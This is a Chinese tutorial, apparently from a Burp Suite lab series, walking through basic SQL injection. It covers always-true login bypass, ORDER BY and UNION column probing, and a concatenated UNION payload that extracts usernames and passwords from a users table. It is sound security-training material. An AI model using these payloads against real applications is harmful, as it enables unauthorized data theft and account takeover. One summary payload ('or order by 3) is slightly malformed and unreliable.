说到SQL注入漏洞,各位小伙伴一定是耳熟能详,作为一种常见的高危漏洞,其对于应用程序的损害是非常严重的。因此这也是一个在渗透测试的过程中具有高优先级的验证目标,所以将与之相关的实验进行优先讲述。
本文是 i 春秋论坛作家「dll_s」表哥原创的Burpsuite练兵场系列文章,公众号旨在为大家提供更多的学习方法与技能技巧,文章仅供学习参考。
SQL注入原理:SQL注入的原理其实并不难理解,Web应用程序后台获取用户输入并将其拼接到SQL查询语句中进行执行,而这里的用户输入就是我们可以构造恶意payload的地方,通过一些技巧使得查询语句按照我们所希望的方式执行即可完成一次成功的SQL注入。正如大多数的Web漏洞一样,究其漏洞本质就是未验证用户输入,没有实现输入数据与程序执行语句的分离。
但是由于存在不同的数据库(如常见的Oracle、SQL Server、Mysql等)所导致的具有微小差异性的SQL语句实现,以及我们无法直接观察到后台的查询逻辑,导致我们在实际的SQL注入漏洞搜寻过程当中往往也要花费不小的精力,同时也非常考察我们对于SQL语句的掌握程度。
话不多说,下面直接进入相关实验及原理的介绍:
实验内容
注意事项:
1、实验仅对SQL注入原理进行简单阐述,读者需要有一定的SQL语言基础;
2、针对SQL注入的专项训练推荐使用sqli-labs开源靶场,阅读源码了解后台逻辑有助于进一步理解SQL注入原理;
3、SQL注入可分为数字型和字符型,不同语句注入的payload不同。
数字型查询语句为:
SELECT * FROM products WHERE category = 1 -- 注入语句为 or 1=1 --
字符型查询语句为:
SELECT * FROM products WHERE category = 'value' -- 注入语句为 'or 1=1 --
本节实验均基于字符型注入。
实验一:检索隐藏数据
首先来看这样一个URL:
https://insecure-website.com/products?category=Gifts
是不是非常熟悉,category为查询参数,后台执行的SQL语句为:
SELECT * FROM products WHERE category = 'Gifts' AND released = 1
当我们把查询参数变更为Gifts'这样,则查询语句变为了:
SELECT * FROM products WHERE category = 'Gifts'--' AND released = 1
原先查询的另一条件released=1就被注释掉了,因此查询会返回所有category = 'Gifts'的数据。
我们进一步将查询参数变更为category=Gifts'+OR+1=1,查询语句变为了:
SELECT * FROM products WHERE category = 'Gifts' OR 1=1--' AND released = 1
结果将会返回products数据表中的所有数据,以此就可进行一次成功的SQL注入。
在这里再介绍一下不同数据库注释语句的差异(可以发现比较好的通用注释方式即为-- )
- Oracle:REM 单行注释 -- 单行注释 /*多行注释*/
- MS SQL Server: -- 单行注释 /*多行注释*/
- MySQL:# 单行注释 -- 单行注释(特别注意,-- 后需跟空格或控制字符) /*多行注释*/
- PostgreSQL: -- 单行注释 /*多行注释*/
这就是这个实验的SQL注入漏洞原理,下面我们进入到实验环境当中:
通过实验介绍,我们知道完成该实验需要执行一次SQL注入以显示所有产品细节,无论是否满足release=1参数。
为了方便这一系列注入实验的进行,推荐可以安装一个chrome插件Harkbar,注意使用插件后虽然方便直接操作请求,但是需要注意url编码问题,比如 -- 这一注释后的空格是否成功附着到url中,可通过观察地址栏是否为 -- %27进行探查,由于插件本身问题可能存在错误,这时还是推荐使用burpsuite来对请求进行修改。
这一插件具有许多有用的功能,在chrome环境下安装好后按f12后点击Harkbar切换到相应选项卡,点击LOAD加载当前页面url,点击EXECUTE发送请求。
构造如图所示url参数(注意 -- 后的空格),发送请求即可完成sql注入攻击。
成功返回结果,实验结束
实验二:颠覆应用程序逻辑(任意用户登录)
我们在一些SQL注入教程中经常能看到类似'or 1=1这样的注入语句用于绕过用户登录验证,在这个实验中学习的正是这样的背后逻辑。
SELECT * FROM users WHERE username = ''or 1 -- ' AND password = '123'
这一条非常经典的在登录过程中,应用后台的数据库查询语句,通过语句执行后的返回值是否为真判断数据库中是否有匹配的账户存在。
因此,我们只需要构造paylaod使该语句执行结果总为真即可实现任意用户登录,常见的payload如' or 1=1 --
SELECT * FROM users WHERE username = ''or 1 -- ' AND password = '123'
进入实验,实验完成要求:以administrator账号身份登录。
进入account login页面,账号值构造如图所示,密码输入任意值。
成功登录即可完成实验
实验三:从其他数据表中检索数据(联合查询UNION注入)
在进行sql注入攻击时,我们可以通过union语句进行联合查询,获取其他数据表中的数据,这里以Mysql为例,简要介绍下UNION操作符:
SELECT expression1, expression2, ... expression_n
FROM tables
[WHERE conditions]
UNION [ALL | DISTINCT]
SELECT expression1, expression2, ... expression_n
FROM tables
[WHERE conditions];
- expression1, expression2, ... expression_n:要检索的列;
- tables:要检索的数据表;
- WHERE conditions:可选, 检索条件;
- DISTINCT:可选,删除结果集中重复的数据。默认情况下 UNION 操作符已经删除了重复数据,所以 DISTINCT 修饰符对结果没啥影响;
- ALL:可选,返回所有结果集,包含重复数据。
SELECT a, b FROM table1 UNION SELECT c, d FROM table2; -- 从table1中检索a,b并从table2中检索c,d
注意执行union查询需要满足两个条件:
- 各个查询必须返回相同数量的列;
- 每个列中的数据类型必须在各个查询之间兼容。
所以我们在进行union注入时需要先确定查询语句中的列数,在这个实验教程中介绍了两种方法。
使用Order By子句
order by子句可以用于对查询结果进行排序,通过接收一个列名为参数或一个简单的能识别特定列的数字。
' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL--
通过不断递增指向列的数字,直到返回错误以推断出最大列数。
' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3--
使用Union子句
如前所述,联合查询需要每个返回的列数相同,因此若列数不同便会返回错误,通过不断递增列直到返回正确信息。
' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL--
接下来进入实验
实验需要我们探测出查询语句中列的正确的数量,并执行SQL注入返回包含null数据的附加列。
使用order by子句进行猜测,使用'order by 3时成功返回结果。
使用'order by 4时返回结果错误,可以推断出查询语句中的列数量为3。
使用union查询进行注入攻击,完成实验。
实验四:通过SQL UNION注入查找有用的数据类型列
比如我们希望寻找一字符串类型的数据列,我们可以先查明正确的列数量,然后通过不断更换union查询子句中字符列的位置来进行确定。
' UNION SELECT 'a',NULL,NULL,NULL--
' UNION SELECT NULL,'a',NULL,NULL--
' UNION SELECT NULL,NULL,'a',NULL--
' UNION SELECT NULL,NULL,NULL,'a'--
实验完成条件:实验提供了一个随机的字符串,在查询结果中显示该字符串以完成实验。
实验生成的随机字符串
首先通过order by子句确定列数为3,执行union查询,不断替换字符串位置直到返回正确结果。
返回了有效结果
使用实验给出的字符串进行替换,发送请求完成实验。
实验五:通过SQL UNION注入检索感兴趣的数据
这一实验需要我们通过SQL注入获取到users表中所有的username和password数据,由于实验已经告诉我们所需的数据位于该web应用后台数据库中的莫具体表及字段当中,所以可以直接使用语句进行查询。但在我们实际的渗透测试过程中,存在哪些让人感兴趣的数据是需要通过多次SQL注入进行推断的,其具体细节留在后面章节再具体介绍。
实验完成条件:通过SQL注入获取账号和密码,并以administrator身份登录。
首先使用order by子句判断查询列数,数量为2。
使用union查询,获取账号信息。
使用administrator账号登录,完成实验。
实验六:通过字符串连接将多个值返回在一个列中
在上一个实验中,我们使用了'union select username,password -- 这一payload,其成功执行的条件为原先的查询列数也为两列,且数据类型均为字符串类型。但在这一次的实验中,通过‘union select 'a',NULL -- 测试可以发现仅第二列为字符串类型,因此我们需要将两个查询参数合并到一列中。
使用连接字符串将两个查询参数合并在一起,其返回结果构造类似administrator~s3cure。
' UNION SELECT username || '~' || password FROM users--
当然不同数据库的字符串连接方式也不同。
- Oracle: 'foo'||'bar'
- SQL Server: 'foo'+'bar'
- Mysql: 'foo' 'bar'(空格) CONCAT('foo','bar')
- PostgreSQL: 'foo'||'bar'
实验要求:通过SQL注入获取账号和密码,并以administrator身份登录。
判断字符串位置
构造payload获取账号密码
使用administrator成功登录,完成实验。
总结
本节实验介绍了基础的手动SQL注入实验,汇总一下使用到的注入语句与技巧。
'or 1=1 -- 注入点判断(语句永真)
'or order by 3 -- 判断查询语句列的数量
'union select NULL,'a' -- 判断特定数据类型列的位置
'union select NULL,username||'~'||password -- 连接字符串以返回单一行
想要掌握SQL注入光理解原理是不行的,在学习中还是应该多进行实际的动手操作。
以上是今天要分享的内容,大家看懂了吗?